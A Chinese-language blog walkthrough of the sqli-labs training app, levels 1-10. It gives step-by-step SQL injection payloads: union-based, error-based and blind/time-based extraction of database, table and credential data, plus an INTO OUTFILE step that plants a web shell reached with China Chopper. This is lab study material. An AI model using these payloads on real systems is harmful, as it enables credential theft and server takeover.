sqli labs master 学习
sqli labs master 学习
Less 1
1.首先判断注入点
在http请求后加上?id=1’ and 1=1 – -,显示如下
把后面改为1=2显示如下,可以看到sql语句应该是正常执行了,没有报错
可以说明存在字符型注入,猜测语句为select… where id=’’这样的语句。
接下来判断注入点
判断字段数
输入?id=1’ order by 3 – -时候会显示如下,说明内部字段数为3
输入?id=0’ union select 1,2,3 – -回显如下
(id为0是为了不让返回值干扰注入)
说明2,3的位置存在注入点
使用联合查询注入查看表,输入?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() – -回显如下
得到emails,referers,uagents,users这几个表
查询字段,输入?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ – -回显如下
发现里面有username,password字段,可以尝试查询这个列里的值,输入?id=0’ union select 1,group_concat(username,0x3f,password),3 from users-- -
0x3f是?的ascii码值,放在中间作为参数好区分两个列的值
Less 2
首先查看注入类型,输入?id=1 and 1=1 – -回显如下
输入?id=1 and 1=2 – -回显如下
说明存在数字型注入,之后步骤同less1,输入的代码相同,如下
判断注入点,输入?id=1 order by 3 – -
回显如下,说明回显字段数为3,之后步骤同less1,可以使用less1的注入代码去掉前面单引号即可
最后输入输入?id=0 union select 1,group_concat(username,0x3f,password),3 from users-- -得到用户名和密码
Less 3
先输入?id=1’,显示如下,根据报错信息,可以知道后面还有个括号,所以尝试输入?id=1’) and 1=1 – -
输入?id=1’) and 1=1 – -回显如下
说明存在基于字符’)的字符型注入
输入?id=1’) order by 3 – -回显如下,说明返回数据有3个字段
后面输入同less1,将less1的语句改为id=1’)即可
最后输入?id=0 union select 1,group_concat(username,0x3f,password),3 from users-- -得到用户名和密码列对应的数值
Less 4
输入?id=1’但是页面无变化
输入?id=1"页面报错如下,猜测可能是双引号加)
输入?id=1") order by 4 – -发现回显如下,说明我们的判断可能是对的
输入?id=1") order by 3 – -回显正常说明有3个字段
之后注入代码同less1,id后面改为")其他同,最后得到用户名和密码的列内容为
输入
?id=0") union select 1,group_concat(username,0x3f,password),3 from users-- -得到用户名和密码列对应的数值
Less 5
首先查询id=1,但是发现不会返回任何数据,只会返回you are in……
如果输入别的,就会报错
输入?id=1’ and 1=1 – -未报错,说明sql查询语句可能同less1使用‘号闭合
输入?id=1’ order by 3 – -,回显正常,说明字段数为3
使用报错注入查询数据库名,输入?id=0’union select count(*),1, concat(’~’,(select database()),’~’,floor(rand()*2)) as a from information_schema.tables group by a – -
原理:利用concat()连接函数和随机数函数floor(rand()*2)的结果只能在0-1来产生报错,使用information_schema.tables 或 information_schema.columns者两个表来查询,然后就会产生很多结果达到报错concat函数加~号是为了能更好看清楚查询到的数据库
效果如下:可以知道查询到的数据库名是security
查询表名,输入
?id=0’ union select count(*),1, concat(’~’,(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),’~’,floor(rand()*2)) as a from information_schema.tables group by a – -
从0开始输入到4的时候(limit 3,1前的数3表示第几个表),回显如下
说明数据库中第四个表为user
查询列字段名,输入?id=0’ union select count(*),1, concat(’~’,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -
说明表中第一个列的字段是id,同理可以找到username、password等字段
接下来查询内容,输入?id=0’ union select count(*),1, concat(’~’,( select username from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -
和
?id=0’ union select count(*),1, concat(’~’,( select password from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -
可以查找到Angelina的用户名和密码,查找其他账号密码方式同上
Less 6
输入id=1回显如下,说明还是通过布尔值来判断注入
尝试输入?id=1’,回显如下
输入?id=1"报错如下
说明存在双引号的注入
使用报错注入查询数据库名,输入?id=0” union select count(*),1, concat(’~’,(select database()),’~’,floor(rand()*2)) as a from information_schema.tables group by a – -
可以通过报错注入回显出结果,其他步骤和payload同less5,使用less5的注入代码,并且把id=0后的单引号改为双引号即可
最后查询表中内容输入如下
接下来查询内容,输入?id=0"union select count(*),1, concat(’~’,( select username from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -
和
?id=0" union select count(*),1, concat(’~’,( select password from users limit 1,1),’~’, floor(rand()*2)) as a from information_schema.tables group by a – -
Less 7
输入?id=1,?id=1’,?id=1"测试注入点,当输入id=1’的时候报错,显示如下,说明存在单引号字符型注入
输入?id=1’ and 1=1 – - 报错,显示如下,说明可能存在括号
测试有多少个括号,最后输入?id=1’ )) and 1=1 – -未报错,显示如下,说明得需要2个括号闭合
提示我们得使用outfile函数导出文件,然而这个函数是有要求的,首先我们得知道绝对的文件物理路径,还得对这个路径有可写入的权限
在地址栏输入
?id=1’)) union select 1,2,’’ into outfile “D:\phpstudy_pro\WWW\sqli-labs-master\Less-7”-- -
可以看到这个路径确实写入了我们的一句话木马,然后用菜刀连接
这时可以连接上并且可以对文件进行操作了
Less 8
输入?id=1,回显如下
可以说明是布尔型注入,输入?id=1’没有回显,说明可能是基于单引号的布尔注入
尝试使用报错注入的时候没有回显,所以我们不能用报错注入。尝试时间盲注
输入?id=1’ and if(length(database())=8,sleep(5),1)-- -
*这里不正确执行select 1页面正常返回,正确则执行select sleep(5)页面沉睡5秒后返回
有明显延迟,说明数据库长度为8,接下来爆破库名
?id=1’and if(ascii(substr(database(),1,1))=115,sleep(5),1)-- -
如下图,有明显延迟,说明库的第一个字符acii码为115(s)
其他字段调整(substr(database(),x,1)中x大小得出数据库名字是’security’
接下来爆破表的内容
?id=1’and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=117 ,sleep(5),1)-- -
这里limit x,1),y,1)的x表示第x+1个表,y表示表名第y位数,用ASCII码判断
延迟明显说明猜测正确,这里最后得出第三个表是user表
接下来爆表中的名字,输入
?id=1’and if(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 3,1),1,1))=105, sleep(5),1)-- -
这里limit x,1),y,1)的x表示第x+1列,y表示列名第y位数,用ASCII码判断
然后爆破列的内容用
?id=1’and if(ascii(substr((select username from users limit 0,1),1,1))=68, sleep(5),1) – -
这里limit x,1),y,1)的x表示第x+1个内容,y表示内容的第y位数,用ASCII码判断
请求有明显延迟则判断成功
Less 9
这里不管输入什么,下图输入1或者1’,回显总是You are in…
题目提示是基于时间的盲注,经过尝试,当输入?id=1’ and sleep(5) – -延迟明显,说明注入成功
由于我们上一关就是使用的时间盲注,所以直接用上一题的payload
输入?id=1’ and if(length(database())=8,sleep(5),1)-- -,查询数据库长度
延迟明显,说明可以注入,之后操作同less8
Less 10
这里和上一关一样,不管输入什么都会显示you are in….,通过测试,当输入?id=1" and sleep(5) – -时,延迟明显,说明存在双引号注入
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!,本博客仅用于交流学习,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。 文章作者拥有对此站文章的修改和解释权。如欲转载此站文章,需取得作者同意,且必须保证此文章的完整性,包括版权声明等全部内容。未经文章作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。若造成严重后果,本人将依法追究法律责任。 阅读本站文章则默认遵守此规则。